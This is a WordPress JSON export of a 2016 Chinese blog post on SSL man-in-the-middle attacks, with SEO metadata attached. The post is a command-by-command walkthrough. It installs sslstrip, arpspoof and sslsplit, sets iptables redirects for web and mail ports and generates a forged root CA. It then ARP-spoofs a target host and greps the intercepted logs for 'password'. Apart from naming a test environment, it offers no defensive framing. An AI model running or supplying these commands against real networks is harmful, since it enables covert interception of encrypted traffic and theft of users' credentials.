{"id":175,"date":"2016-04-05T09:29:56","date_gmt":"2016-04-05T09:29:56","guid":{"rendered":""},"modified":"2016-04-05T09:29:56","modified_gmt":"2016-04-05T09:29:56","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=175","title":{"rendered":"SSL\u4e2d\u95f4\u4eba\u653b\u51fb"},"content":{"rendered":"<p><span style=\"font-size:14px;\">&nbsp;<\/span> <\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6d4b\u8bd5\u73af\u5883\uff1a<\/span><span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">Ubuntu 14.04.1 LTS<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><\/span>\n<\/p>\n<p style=\"text-indent:-21pt;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\"><span style=\"font-size:14px;\">\u4e00\u3001<\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u4e2d\u95f4\u4eba\u4ee3\u7406\u653b\u51fb<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">1.<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u539f\u7406\u56fe\uff1a<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;font-size:14px;\"><\/span><a id=\"ematt:381\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\" data-rel=\"penci-gallery-image-content\"  target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" title=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" alt=\"sslstrip.jpg\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\" width=\"660\" height=\"206\" \/><\/a><span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><\/span><span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:14px;\">2.<\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u5de5\u5177\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">1<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">sslstrip:<\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">sudo apt-get install sslstrip <\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">2<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">arpspoof:<\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">sudo apt-get install dsniff<\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">3.<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8fc7\u7a0b\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">1<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09\u914d\u7f6e<\/span><span style=\"font-size:14px;\">iptables<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8f6c\u53d1\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\"><span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/span>echo 1 &gt; \/proc\/sys\/net\/ipv4\/ip_forward<\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-port 10000<\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 443 -j REDIRECT &#8211;to-port 10000<\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">2<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09\u542f\u52a8<\/span><span style=\"font-size:14px;\">sslstrip<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u76d1\u542c\u672c\u5730\u7aef\u53e3\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">sslstrip -l 10000 \u2013a<\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">3<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09\u5f00\u59cb<\/span><span style=\"font-size:14px;\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6b3a\u9a97\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">arpspoof -i eth0 -t 192.168.132.130 -r 192.168.132.2<\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">PS:arpspoof<\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u5e76\u4e0d\u63d0\u4f9b\u8f6c\u53d1\u529f\u80fd\u3002<\/span><span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><\/span>\n<\/p>\n<p style=\"text-indent:-21pt;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\"><span style=\"font-size:14px;\">\u4e8c\u3001<\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8bc1\u4e66\u4f2a\u9020\u653b\u51fb\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">1.<\/span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u5de5\u5177\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">1<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">openssl:<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">sudo apt-get install openssl<\/span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">2<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">sslsplit:<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">git clone <\/span><span style=\"font-size:14px;\">https:\/\/github.com\/droe\/sslsplit.git<\/span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\"><span style=\"font-size:14px;\"><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/span><span style=\"font-size:14px;\">make &amp; sudo make install<\/span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u5b89\u88c5\u4f9d\u8d56\u5305\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">apt-get install libssl-dev libevent-dev<\/span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\"><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/span><span style=\"font-size:14px;\">3<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">arpspoof<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">2.<\/span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8fc7\u7a0b\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">1\uff09<\/span><span style=\"font-size:14px;\">&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u751f\u6210\u6570\u5b57\u8bc1\u4e66\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">openssl genrsa -out ca.key 2048<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">openssl req -new -x509 -days 1096 -key ca.key -out ca.crt<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">2\uff09<\/span><span style=\"font-size:14px;\">&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u5f00\u542f<\/span><span style=\"font-size:14px;\">iptables<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8f6c\u53d1\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">echo 1 &gt; \/proc\/sys\/net\/ipv4\/ip_forward<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;dport 80 -j REDIRECT &#8211;to-ports 8080<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;dport 443 -j REDIRECT &#8211;to-ports 8443<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;dport 587 -j REDIRECT &#8211;to-ports 8443<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;dport 465 -j REDIRECT &#8211;to-ports 8443<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;dport 993 -j REDIRECT &#8211;to-ports 8443<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">iptables -t nat -A PREROUTING -p tcp &#8211;dport 995 -j REDIRECT &#8211;to-ports 8443<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">3\uff09<\/span><span style=\"font-size:14px;\">&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u542f\u52a8<\/span><span style=\"font-size:14px;\">sslsplit<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u76d1\u542c\u672c\u5730\u7aef\u53e3\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u53c2\u6570\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">-k <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a\u79c1\u94a5<\/span><span style=\"font-size:14px;\">key<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6587\u4ef6\uff0c\u8fdb\u884c\u6b3a\u9a97<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">-c <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a<\/span><span style=\"font-size:14px;\">Root CA<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8bc1\u4e66\u6587\u4ef6<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">-D Debug<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6a21\u5f0f\uff0c\u7528\u4e8e\u8f93\u51fa<\/span><span style=\"font-size:14px;\">SSLSplit<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u72b6\u6001\uff0c\u5efa\u8bae\u4f7f\u7528\u65f6\u52a0\u4e0a<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">-j <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a<\/span><span style=\"font-size:14px;\">log<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u76ee\u5f55\u5730\u5740<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">-S <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a<\/span><span style=\"font-size:14px;\">-j<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u53c2\u6570\u76ee\u5f55\u4e0b\u9700\u8981\u8bb0\u5f55\u622a\u65ad<\/span><span style=\"font-size:14px;\">GET<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u3001<\/span><span style=\"font-size:14px;\">POST<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u8bf7\u6c42\u7684\u5b50\u76ee\u5f55\u5730\u5740<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">-l <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a\u5b58\u50a8\u7684\u8fde\u63a5\u4fe1\u606f\u6587\u4ef6<\/span><span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">ssl IP <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u7aef\u53e3<\/span> <span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a<\/span><span style=\"font-size:14px;\">ssl<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u9700\u8981\u76d1\u542c\u7684\u7aef\u53e3<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">tcp IP <\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u7aef\u53e3<\/span> <span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6307\u5b9a<\/span><span style=\"font-size:14px;\">tcp<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u9700\u8981\u76d1\u542c\u7684\u7aef\u53e3<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span><\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">mkdir log<\/span>\n<\/p>\n<p style=\"margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">sslsplit -D -l connect.log -j .\/ -S log\/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">4\uff09<\/span><span style=\"font-size:14px;\">&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u542f\u52a8<\/span><span style=\"font-size:14px;\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">arpspoof -i eth0 -t 192.168.132.130 -r 192.168.132.2<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span><span><span style=\"font-size:14px;\">5\uff09<\/span><span style=\"font-size:14px;\">&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u67e5\u770b\u622a\u53d6\u5230\u7684\u6570\u636e\uff1a<\/span><span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">cd log<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:57pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">grep -rn \u2018password\u2019 *<\/span>\n<\/p>\n<p style=\"text-indent:15pt;margin-left:63pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\"><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p><span style=\"font-size:14px;\">&nbsp;<\/span> <\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u6d4b\u8bd5\u73af\u5883\uff1a<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">Ubuntu 14.04.1 LTS<\/span>\n<\/p>\n<p style=\"text-indent:-21pt;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\"><span style=\"font-size:14px;\">\u4e00\u3001<\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u4e2d\u95f4\u4eba\u4ee3\u7406\u653b\u51fb<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-size:14px;\">1.<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u539f\u7406\u56fe\uff1a<\/span>\n<\/p>\n<p style=\"text-indent:0cm;margin-left:21pt;\" class=\"MsoListParagraph\">\n\t<a id=\"ematt:381\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" title=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" alt=\"sslstrip.jpg\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\" width=\"660\" height=\"206\" \/><\/a>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:14px;\">2.<\/span><\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\u5de5\u5177\uff1a<\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">1<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">sslstrip:<\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">sudo apt-get install sslstrip <\/span><\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span style=\"font-size:14px;\">2<\/span><span style=\"font-family:\u5b8b\u4f53;font-size:14px;\">\uff09<\/span><span style=\"font-size:14px;\">arpspoof:<\/span>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span><span style=\"font-size:14px;\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:14px;\">su&#8230;<\/span><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-175","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SSL\u4e2d\u95f4\u4eba\u653b\u51fb - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=175\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SSL\u4e2d\u95f4\u4eba\u653b\u51fb - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"&nbsp;   \u6d4b\u8bd5\u73af\u5883\uff1a    Ubuntu 14.04.1 LTS    \u4e00\u3001\u4e2d\u95f4\u4eba\u4ee3\u7406\u653b\u51fb    1.\u539f\u7406\u56fe\uff1a        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2.\u5de5\u5177\uff1a    1\uff09sslstrip:    &nbsp;&nbsp;&nbsp;&nbsp;sudo apt-get install sslstrip    2\uff09arpspoof:    &nbsp;&nbsp;&nbsp;&nbsp;su...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=175\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2016-04-05T09:29:56+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=175#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\",\"contentUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=175#webpage\",\"url\":\"http:\/\/weizn.net\/?p=175\",\"name\":\"SSL\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=175#primaryimage\"},\"datePublished\":\"2016-04-05T09:29:56+00:00\",\"dateModified\":\"2016-04-05T09:29:56+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=175#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=175\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=175#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SSL\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=175#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=175#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"SSL\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb\",\"datePublished\":\"2016-04-05T09:29:56+00:00\",\"dateModified\":\"2016-04-05T09:29:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=175#webpage\"},\"wordCount\":311,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"image\":{\"@id\":\"http:\/\/weizn.net\/?p=175#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201604\/9a621459845072.jpg\",\"articleSection\":[\"\\u5e94\\u7528\\u5b89\\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=175#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SSL\u4e2d\u95f4\u4eba\u653b\u51fb - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=175","og_locale":"zh_CN","og_type":"article","og_title":"SSL\u4e2d\u95f4\u4eba\u653b\u51fb - Wayne&#039;s Blog","og_description":"&nbsp;   \u6d4b\u8bd5\u73af\u5883\uff1a    Ubuntu 14.04.1 LTS    \u4e00\u3001\u4e2d\u95f4\u4eba\u4ee3\u7406\u653b\u51fb    1.\u539f\u7406\u56fe\uff1a        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2.\u5de5\u5177\uff1a    1\uff09sslstrip:    